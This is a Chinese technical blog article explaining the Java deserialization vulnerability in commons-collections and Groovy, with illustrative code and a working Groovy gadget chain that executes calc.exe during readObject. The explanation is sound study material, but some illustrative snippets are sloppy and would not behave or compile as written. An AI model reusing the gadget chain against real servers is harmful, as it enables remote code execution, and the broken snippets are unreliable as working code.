Java反序列化攻击

本文转自OneAPM,系OneAPM工程师原创文章。

Java 反序列化攻击漏洞由FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。

由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接 引用这些包的应用都会受到威胁,这样的应用的数量会以百万计。
说到漏洞存在的原因,根本还在于 Java 序列化自身的缺陷,众所周知,序列化的目的是使 Java 对象转化成字节流,方便存储或者网络上传输。Java 对象分解成字节码过程叫做序列化,从字节码组装成 Java 对象的过程叫做反序列化,这两个过程分别对应于的 writeObject 和 readObject 方法。问题在于 readObject 在利用字节流组装 Java 对象时不会调用构造函数, 也就意味着没有任何类型的检查,用户可以复写 readObject() 方法执行任何希望执行的代码。

这可能会导致三方面问题:
1. 序列化对象修改了对象或者父类的某个未加保护的关键属性,导致未预料的结果。 例如:

Java代码
  1. class Client {
  2. private int value;
  3. public Client(int v) {
  4.         if (v <= 0) {
  5.             throw new RuntimeException("not positive number");
  6.         }
  7.         value = v;
  8.     }
  9.     public void writeObject(ObjectOutputStream oos) throws IOException {
  10.         int value = 0; //这里该值被改为0。(现实中可以通过调试模式,修改serialize字节码或者class instrument等多种方式修改该值)
  11.         oos.defaultWriteObject();
  12.     }
  13. }
  14. class Controller {
  15.     private ArrayBlockingQueue<Client> queue;
  16.     public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
  17.         Client s = (Client)o.readObject(); //反序列化不调用构造函数,value的非零检查不会触发
  18.         queue.add(s);
  19.     }
  20.     public Client getClient() throws InterruptedException {
  21.         return (Client)queue.take();
  22.     }
  23. }
  24. class Server extends Thread {
  25.     private Controller controller = new Controller();
  26.     private int result = 100;
  27.     public void run() {
  28.         while (true) {
  29.             try {
  30.                 result = result / controller.getClient().getValue(); // 由于value是0,会导致算数异常,线程结束
  31.                 Thread.sleep(100);
  32.             } catch (InterruptedException e) {}
  33.         }
  34.     }
  35. }

2. 攻击者可以创建循环对象链,然后序列化。会导致反序列化无法结束, 空耗系统资源。例如:

Java代码
  1. Set root = new HashSet();
  2. Set s1 = root;
  3. Set s2 = new HashSet();
  4. for (int i = 0; i < 10; i++) {
  5.   Set t1 = new HashSet();
  6.   Set t2 = new HashSet();
  7.   t1.add("foo"); //使t2不等于t1
  8.   s1.add(t1);
  9.   s1.add(t2);
  10.   s2.add(t1);
  11.   s2.add(t2);
  12.   s1 = t1;
  13.   s2 = t2;
  14. }

3. 用户在收到序列化对象流时可以选择存储在本地,以后再处理。由于没有任何校验机制,使得上传恶意程序成为可能。

Java代码
  1. class Controller {
  2.     public void receiveState(ObjectInputStream ois) {
  3.         FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
  4.         fos.write(ois); //实际并不知道存的是什么,可能是恶意脚本。
  5.         fos.close();
  6.     }
  7. }

那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢?下面是 Groovy 的一个例子:

Java代码
  1. public class GroovyTest {
  2. public static void main(String[] args) throws Exception {
  3.     final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
  4.     Class<?>[] clsArr = {Map.class};
  5.     final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
  6.     final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
  7.     ctor.setAccessible(true);
  8.     final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
  9.     ByteArrayOutputStream bos = new ByteArrayOutputStream();
  10.     ObjectOutputStream oos = new ObjectOutputStream(bos);
  11.     oos.writeObject(handler);
  12.     byte[] bytes = bos.toByteArray(); //对象被序列化
  13.     ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
  14.     ObjectInputStream ois = new ObjectInputStream(bis);
  15.     ois.readObject(); //反序列化时calc.exe被执行
  16. }
  17. }

在这个例子中,ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,会尝试调用 entrySet() 方法,这会触发 calc.exe 的调用。

Java代码
  1. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
  2.     var1.defaultReadObject();
  3.     AnnotationType var2 = null;
  4.     try {
  5.         var2 = AnnotationType.getInstance(this.type);
  6.     } catch (IllegalArgumentException var9) {
  7.         throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  8.     }
  9.     Map var3 = var2.memberTypes();
  10.     Iterator var4 = this.memberValues.entrySet().iterator();
  11.     while(var4.hasNext()) {
  12.         Entry var5 = (Entry)var4.next();
  13.         String var6 = (String)var5.getKey();
  14.         Class var7 = (Class)var3.get(var6);
  15.         if(var7 != null) {
  16.             Object var8 = var5.getValue();
  17.             if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
  18.                 var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
  19.             }
  20.         }
  21.     }
  22. }

针对这个问题,FoxGlove Security 提到开发者不应该反序列化任何不信任的数据,而实际情况却是开发者对该问题的危害没有足够的认知,他提到一种激进的做法那就是如果你足够勇敢可以尝试扫描 并删除存在反序列化漏洞的类,但是实际情况是第一没有人敢于冒这种风险,第二,当应用对象的依赖关系会很复杂,反序列化过程会导致很多关联对象被创建,所 以扫描不能保证所有的问题类被发现。

然而幸运的是,这个问题引起了一些安全公司的重视,在他们推出的RASP(Runtime Application Security Protection)产品中会在应用运行期对该漏洞进行防护。

  1. da shang
    donate-alipay
               donate-weixin weixinpay

发表评论↓↓